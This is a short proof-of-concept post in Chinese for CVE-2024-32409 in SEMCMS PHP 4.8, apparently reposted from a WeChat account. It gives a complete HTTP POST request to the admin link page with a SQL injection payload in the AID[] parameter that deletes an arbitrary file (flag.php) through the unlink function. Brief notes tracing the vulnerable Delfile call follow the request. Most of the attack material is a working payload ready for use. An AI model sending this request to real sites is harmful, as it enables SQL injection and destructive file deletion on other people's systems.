POST /semcms_php_4.8/916lGe_Admin/SEMCMS_Link.php?Class=Deleted&CF=link&page= HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 72Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/semcms_php_4.8/916lGe_Admin/SEMCMS_Link.php?lgid=1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: frameSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1X-Forwarded-For: 127.0.0.1languageID=1&AID%5B%5D=2)union select 1,2,3,4,5,6,'../Images/flag.php' #
漏洞分析
全局搜索unlink函数
file_exists函数判断文件是否存在
接下来追踪Delfile的调用
发现在SEMCMS_Function.php中被调用
对触发条件进行跟踪
发现当在Class=Deleted
AID[]=2)union select 1,2,3,4,5,6,'../Images/flag.php' #
可删除相对路径下的flag.php
原文始发于微信公众号（AI与网安）：CVE-2024-32409 POC
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